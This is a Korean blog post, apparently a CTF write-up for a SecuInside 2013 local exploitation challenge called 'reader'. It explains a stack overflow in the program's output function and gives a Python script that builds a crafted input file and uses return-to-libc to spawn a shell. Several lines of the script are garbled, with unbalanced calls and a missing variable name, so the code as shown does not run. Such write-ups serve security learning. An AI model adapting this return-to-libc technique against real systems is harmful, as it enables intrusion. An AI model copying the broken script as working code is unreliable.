뭔가 엄청 오랜만에 풀어본 것 같은 로컬 익스플로잇 문제였다.

분석하는 데에 몇 시간 걸렸는데 막상 제대로 익스플로잇 짠 시간은 몇분...

이 프로그램이 뭐하는 프로그램인지 제대로 분석해야 뭔가를 할 수 있다고 생각해서 보자마자 분석했는데,

그러길 잘한 것 같다.


이 문제만의 포맷으로 새로운 파일을 읽어들이는 방식을 만들어 둔 거라 규칙에 맞게 파일을 만들어야 한다.


왠지 코어파일이 덮어씌워지지가 않아서 한참을 삽질했다 (-_-;;


ulimit -s unlimited 로 시스템과 binsh를 알아낸 후 RTL로 풀면 간단하게 풀 수 있다.

터지는 부분은 출력 함수 부분에서 size2 에 &i를 대입했기 때문에 일어나는 스택 오버플로우.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import struct
import os
 
p32 = lambda x: struct.pack("<L", x)
 
system = 0x4007c190
binsh = 0x4019ca24
 
data = "\xffSECUINSIDE\x00" + "A\x00"+"A"*0x62 + "\xff\xff\xff\xff"
data += p32(8+ p32(8+ p32(0x32+ p32(0+ "."
data += "A"*20+"BBBB"+"CCCC"+"DDDD"+"EEEE"+p32(system)+"GGGG"+p32(binsh)+"IIII"+"JJJJ"
 
= open("reader.sec""w")
f.write(data)
f.close()
 
os.system('./reader reader.sec')
cs


'CTF > 지난 대회' 카테고리의 다른 글

Plaid CTF 2013 - ropasaurusrex (with pwntools)  (0) 2016.02.29
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - givemeshell  (0) 2016.01.13
Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,